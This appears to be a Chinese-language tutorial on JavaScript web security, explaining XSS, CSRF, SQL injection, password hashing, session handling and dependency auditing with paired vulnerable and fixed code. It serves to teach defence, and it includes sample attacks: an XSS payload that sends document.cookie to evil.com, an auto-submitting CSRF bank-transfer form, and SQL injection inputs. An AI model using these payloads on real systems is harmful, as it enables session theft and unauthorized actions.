JavaScript 安全最佳实践

中等 🟡Js/Ts
6 个标签
预计阅读时间:35 分钟
JavaScript安全XSSCSRFCSP依赖安全

JavaScript 安全最佳实践

安全是 JavaScript 开发的重要考虑因素。在 Web 世界里,你的代码运行在完全不可信的环境——用户的浏览器中,任何人都能打开开发者工具查看、修改前端逻辑,能构造任意请求发给你的服务器。所以安全的第一原则是:永远不要信任来自客户端的任何数据。 下面系统讲解常见威胁、原理、防护措施和实战代码。

为什么安全不可忽视

一次安全事故的代价远超想象。可以把 Web 应用比作一栋楼:XSS 是有人在楼里贴了带毒的告示(脚本),CSRF 是有人冒用你的门禁卡(身份)开门,SQL 注入是有人撬开了保险库(数据库)。真实数据触目惊心:

OWASP(开放式 Web 应用安全项目)连续多年将注入类和访问控制类漏洞列入 Top 10。
据统计,超过 60% 的 Web 应用曾存在某种形式的 XSS 漏洞。
一次数据泄露的平均成本已超过 400 万美元(IBM 年度报告口径),还不包括品牌信誉损失。
90% 以上的现代应用代码来自第三方依赖,供应链攻击(如恶意 npm 包)逐年激增。

安全不是上线前的一次性检查,而是贯穿开发全流程的持续工程实践。

常见安全问题

XSS(跨站脚本攻击):

攻击者向页面注入恶意脚本,在其他用户浏览器中执行
窃取用户 Cookie、会话令牌或其他敏感数据
重定向用户到钓鱼网站,或伪造用户操作
分为三类:存储型(恶意脚本存进数据库)、反射型(脚本在 URL 参数中反射回页面)、DOM 型(前端 JS 处理不当导致)

CSRF(跨站请求伪造):

攻击者诱导已登录用户在不知情时执行非预期操作
如修改密码、转账、删除数据等
利用浏览器自动携带 Cookie 的机制,冒用用户的认证状态

SQL 注入:

攻击者通过输入构造恶意 SQL 语句
绕过认证、访问或篡改数据库
可能导致整库数据泄露甚至删除

敏感数据暴露:

硬编码 API 密钥、令牌到前端代码
在 localStorage 等前端存储中保存敏感数据
未加密传输数据(明文 HTTP)

依赖漏洞:

使用存在已知漏洞的第三方依赖包
长期不更新依赖,累积风险
依赖链攻击(供应链攻击),恶意包混入依赖树

常见威胁速查

| 威胁 | 攻击目标 | 核心成因 | 主要防护 |

| --- | --- | --- | --- |

| XSS | 用户浏览器 | 未转义的用户输入被当作代码执行 | 输出编码、CSP、框架自动转义 |

| CSRF | 用户身份 | 浏览器自动携带 Cookie | CSRF Token、SameSite Cookie |

| SQL 注入 | 数据库 | 拼接 SQL 语句 | 参数化查询、ORM |

| 敏感数据暴露 | 密钥/隐私 | 前端存密钥、明文传输 | 后端保管、HTTPS、加密 |

| 依赖漏洞 | 整个应用 | 引入有漏洞的包 | npm audit、及时更新 |

XSS 攻击原理与防护

XSS 的本质是:应用把用户提供的数据当作 HTML/JavaScript 代码执行了。 看一个典型的存储型 XSS:

javascriptCode
// ❌ 危险:直接把用户输入拼进 innerHTML
const comment = getUserComment(); // 用户输入
document.getElementById('list').innerHTML += `<div>${comment}</div>`;

// 如果用户输入的是:
// <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
// 那么图片加载失败会触发 onerror,把当前用户的 Cookie 发到攻击者服务器

防护措施:

对用户输入进行验证和清理(sanitize)
输出编码是根本手段:把数据放进 HTML 时用 `textContent` 而非 `innerHTML`
使用 Content-Security-Policy(CSP)作为纵深防御
避免使用 `dangerouslySetInnerHTML`、`eval`、`new Function`
使用 React、Vue 等框架的内置转义(默认对插值做 HTML 转义)
javascriptCode
// ✅ 安全:用 textContent,浏览器不会把内容当 HTML 解析
const div = document.createElement('div');
div.textContent = comment; // <img ...> 会被当作纯文本显示
document.getElementById('list').appendChild(div);

// ✅ 若确实需要渲染富文本,用成熟的净化库 DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml); // 移除危险标签和属性

// ✅ 手动 HTML 转义函数(了解原理)
function escapeHtml(str) {
  return str.replace(/[&<>"']/g, ch => ({
    '&': '&amp;', '<': '&lt;', '>': '&gt;',
    '"': '&quot;', "'": '&#39;'
  }[ch]));
}

CSP(内容安全策略): 通过 HTTP 响应头告诉浏览器"只允许从哪些来源加载脚本",即使被注入了脚本也无法执行。

javascriptCode
// 服务端设置响应头(Express 示例)
res.setHeader(
  'Content-Security-Policy',
  "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"
);
// 'self' 表示只允许同源脚本,内联脚本和外部恶意脚本都会被拦截

CSRF 攻击原理与防护

CSRF 利用的是"浏览器会自动带上目标站点的 Cookie"。假设你登录了银行网站,攻击者诱导你访问一个恶意页面,页面里藏着:

htmlCode
<!-- 恶意网站上的隐藏表单,你一访问就自动提交,浏览器会带上银行的 Cookie -->
<form action="https://bank.com/transfer" method="POST" id="evil">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>
<script>document.getElementById('evil').submit();</script>

防护措施:

使用 CSRF 令牌(Token):服务端下发随机 token,请求时校验,攻击者无法猜到
使用 SameSite Cookie 属性(现代浏览器默认 Lax,可显著缓解)
验证 Origin 和 Referer 请求头
实现正确的 CORS 策略
javascriptCode
// ✅ SameSite Cookie:Strict 完全禁止跨站携带,Lax 只允许安全导航携带
res.cookie('session', token, {
  httpOnly: true,   // JS 无法读取,防 XSS 窃取
  secure: true,     // 只在 HTTPS 下传输
  sameSite: 'strict' // 防 CSRF
});

// ✅ CSRF Token 校验(服务端中间件思路)
function verifyCsrf(req, res, next) {
  const tokenFromHeader = req.headers['x-csrf-token'];
  const tokenFromSession = req.session.csrfToken;
  if (!tokenFromHeader || tokenFromHeader !== tokenFromSession) {
    return res.status(403).json({ error: 'CSRF 校验失败' });
  }
  next();
}

SQL 注入原理与防护

javascriptCode
// ❌ 危险:拼接 SQL。若 username 传入 admin' --,密码校验被注释掉
const query = `SELECT * FROM users WHERE name = '${username}' AND pwd = '${pwd}'`;
db.query(query);
// 攻击输入 username = "' OR '1'='1" 可能返回所有用户

// ✅ 安全:参数化查询(预编译),参数永远被当作数据而非代码
db.query('SELECT * FROM users WHERE name = ? AND pwd = ?', [username, pwd]);

// ✅ 使用 ORM(如 Prisma / Sequelize),底层自动参数化
const user = await prisma.user.findFirst({
  where: { name: username, pwd: pwd }
});

防护要点: 使用参数化查询、避免拼接 SQL、使用成熟 ORM、遵循数据库账号最小权限原则。

安全编码实践

输入验证:

对所有用户输入进行验证(白名单优于黑名单)
使用正则表达式或 schema 校验库(如 zod、joi)验证格式
限制输入长度,过滤/拒绝非法字符
记住:前端校验只为体验,服务端校验才是安全防线
javascriptCode
// ✅ 用 zod 做服务端输入校验
import { z } from 'zod';
const schema = z.object({
  email: z.string().email(),
  age: z.number().int().min(0).max(150),
});
const result = schema.safeParse(req.body);
if (!result.success) {
  return res.status(400).json({ error: '输入不合法' });
}

输出编码: 对输出进行上下文相关的编码(HTML、URL、JS、CSS 各不相同),避免直接拼接 HTML。

密码处理:

使用 bcrypt、argon2 等专用算法哈希密码(带盐、慢哈希,抗暴力破解)
绝不明文存储或用 MD5/SHA1(可被彩虹表秒破)
实现密码强度检查,支持多因素认证(MFA)
javascriptCode
// ✅ bcrypt 哈希密码,salt rounds 越高越慢越安全(通常 10 到 12)
import bcrypt from 'bcrypt';
const hash = await bcrypt.hash(plainPassword, 12); // 存 hash,不存明文
const ok = await bcrypt.compare(inputPassword, hash); // 登录校验

会话管理:

会话令牌用 httpOnly + secure + sameSite Cookie 存储,避免存 localStorage
设置合理的会话过期时间,实现刷新与滑动过期
登录、改密后重新生成会话 ID,防会话固定攻击

错误处理:

不向用户暴露堆栈、SQL 语句等详细错误信息(会泄露技术栈和结构)
记录详细错误到服务端日志,对用户只返回通用提示
实现统一的错误处理中间件
javascriptCode
// ✅ 对外脱敏,对内详记
app.use((err, req, res, next) => {
  console.error('内部错误:', err.stack); // 记到日志系统
  res.status(500).json({ error: '服务器内部错误' }); // 不暴露细节
});

依赖与供应链安全

现代项目 90% 以上代码来自 node_modules,一个恶意或有漏洞的包就能危及整个应用(如著名的 event-stream 事件)。

bashCode
# 扫描依赖已知漏洞
npm audit
npm audit fix          # 自动修复可升级的漏洞

# 锁定依赖版本,保证可复现构建
# 提交 package-lock.json / pnpm-lock.yaml 到版本库

依赖安全要点: 定期更新依赖、用 `npm audit` / Snyk / Dependabot 持续扫描、审查新引入的包、启用 lockfile、对关键依赖固定版本。

真实案例复盘

案例一(存储型 XSS): 某社区论坛允许富文本评论,直接把用户 HTML 存库并渲染。攻击者发布含 `